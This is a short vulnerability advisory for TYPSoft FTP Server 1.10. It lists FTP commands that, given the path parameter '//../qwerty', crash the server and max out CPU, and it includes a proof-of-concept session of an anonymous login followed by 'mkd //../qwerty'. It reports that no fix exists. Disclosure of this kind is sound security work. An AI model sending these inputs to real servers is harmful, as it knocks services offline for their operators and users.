Application: TYPSoft FTP Server
http://www.typsoft.com/
Version: 1.10
Bug: [+] multiple vulnerabilities (Denial Of Service)
[+] 100% employment of computer resources
Author: intuit
e-mail: intuit(at)linuxmail.org
web: http://rootshells.tk/
greetz to: tgs ;)
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1. Description
2. The bug
3. The code
4. The fix
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^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^
Vendor's Description:
"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction,
Login/Quit message, logs, Multi Language and many other things."
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^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^
TYPSoft FTP Server may be DoS'ed with standart ftp commands:
mkd, xmkd, dele, size, retr, stor, appe, rnfr, rnto, rmd, xrmd.
With parameter "//../qwerty", like that:
mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty
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^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^
To test the vulnerability:
-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
user anonymous
331 Password required for anonymous.
pass
230 User anonymous logged in.
mkd //../qwerty
-----------------------------------------------------------------------
and the ftp server will be DoS'ed + 100% employment of computer resources.
/*Tested on: Win XP Build 2600, Service Pack: None
Win XP Build 2600, Service Pack: SP1*/
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^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^
Not exist.
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